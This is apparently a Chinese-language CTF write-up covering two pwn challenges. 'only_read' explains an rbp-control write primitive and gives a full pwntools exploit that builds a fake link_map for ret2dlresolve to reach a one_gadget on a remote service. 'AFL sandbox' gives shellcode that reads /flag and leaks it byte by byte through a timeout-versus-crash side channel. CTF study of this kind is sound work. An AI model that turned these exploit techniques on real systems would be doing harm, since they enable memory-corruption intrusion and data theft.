Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

Pwn

only_read

题目功能

main

漏洞点

由于是libc 2.34+编译,elf中已经没有csu等常见gadget,唯一可利用的是leave,可以用来控制rbp。
又因为取buf地址时通过计算rbp-0x80来获取,操控rbp相当于能控制read写入的地址,达成写任意地址原语。
controlling-rbp

利用思路

由于没有 libc leak ,又缺少 gadget ,考虑不需要泄露的 ret2dlresolve。
与常规ret2dlresolve不同的是,因为没有 pop rdi ; ret 的gadget,不能是最后调用system,要直接劫持rip到one_gadget。

其他思路

asm
@Tplus 师傅的方法:通过rbp来控制rax,这样部分写read got为syscall就可以sigreturn进行srop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python

'''
author: GeekCmore
time: 2025-04-26 18:26:00
'''
from pwn import *

filename = "only_read_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "1.95.129.168"
port = 9999
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context.log_level = "debug"
if libcname:
libc = ELF(libcname)
gs = '''
b *0x401153
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug

'''

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

p = start()


def leak_address():
if context.arch == 'i386':
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b'\x00'))

def leak_address2(timeout=0.1):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])

def dbg():
if args.AT:
gdb.attach(p,gs)
pause()

s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x , y : p.sendafter(x , y)
sla = lambda x , y : p.sendlineafter(x , y)
r = lambda x : p.recv(x)
ru = lambda x : p.recvuntil(x)
rl = lambda x : p.recvline(x)
ia = lambda : p.interactive()
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
rop = ROP(elf)
n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF

def build_fake_link_map(fake_linkmap_addr, func, base_func='read'):
offset = n64(func - libc.sym[base_func])
linkmap = p64(offset) # l_addr
linkmap = linkmap.ljust(0x68, b'\x00')
linkmap += p64(elf.bss()) # l_info[5]
linkmap += p64(fake_linkmap_addr + 0x100) # l_info[6]
linkmap = linkmap.ljust(0xf8, b'\x00')
linkmap += p64(fake_linkmap_addr + 0x110) # l_info[23]
linkmap += p64(0) + p64(elf.got[base_func] - 8) # Elf64_Dyn
linkmap += p64(0) + p64(fake_linkmap_addr + 0x120) # Elf64_Dyn
linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0) # Elf64_Rel
return linkmap

def exp():
if args.REMOTE:
ru("Submit the token generated by `hashcash -mb26")
p.recvrepeat(0.5)
sl(input())

ru(b'Here is your challenge~\n')
sleep(1)
read_plt = 0x401040
read_got = 0x404000
read = 0x401142
write_addr = 0x404500
resolve_plt = elf.get_section_by_name('.plt').header.sh_addr
fake_linkmap_addr = 0x404500 + 0x80 + 8*4
one_gadget = [0x583ec, 0x583f3, 0xef4ce, 0xef52b]
payload = flat(
"A" * 0x80,
write_addr+0x80, # rbp #1
read # retaddr #1
)
s(payload)

sleep(1)

payload = flat(
0,
flat(
).ljust(0x78, b"B"), # retaddr #3
elf.bss()+0x100, # rbp #2
resolve_plt + 6, # retaddr #2
fake_linkmap_addr,
0,
build_fake_link_map(fake_linkmap_addr, one_gadget[3])
)
s(payload)

ia()



exp()

AFL sandbox (复盘)

题目功能

用afl fuzz一个程序 harness, harness 功能是从 /tmp/shellcode 读入shellcode并执行

harness启用沙盒

harness-sandbox

可以orw,但是 AFL 会将 stdout, stderr 重定向到 /dev/null

利用思路

由于AFL会反馈程序是运行超时还是crash,通过这两个的区别来侧信道爆破flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

context.arch = "amd64"
context.bits = 64
# context.log_level = "ERROR"



if not args.REMOTE:
file = open('/tmp/shellcode.bin', 'wb')


zeros = '0'*12
difficulty = 12
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros

def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i

def check(i, c):
shellcode = " push rbp\n"
shellcode += " sub rsp, 300\n"
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += f"""
cmp byte ptr[rsp+{i}], {c}
jbe $
"""
shellcode = asm(shellcode)

if not args.REMOTE:
file.write(shellcode)
exit(0)


# p = process(["python", "./wrapper.py"])
p = remote("127.0.0.1", 9999)
p.recvuntil(b"sha256(")
prefix = p.recvuntil(b" +", True).decode()

p.sendline(str(sol(prefix)).encode())

p.recvline("> ")
p.recvline("so, upload your program (in hex encoding)")
p.sendline(shellcode.hex().encode())
p.recvline("> ")
p.sendline()
res = p.recvrepeat(15)
p.close()
if b'Timeout' in res:
return True
elif b'crash with':
return False


i = 0
flag = ""
while True:
l = 0x20
r = 0x7f
while l < r:
m = (l+r)//2
if check(i,m):
r = m
else:
l = m+1
sleep(5)

flag += chr(l)
log.info(f"flag: {flag}")
if "}" in flag:
break
i+=1

评论




本站总访问量为 次 访客数为 人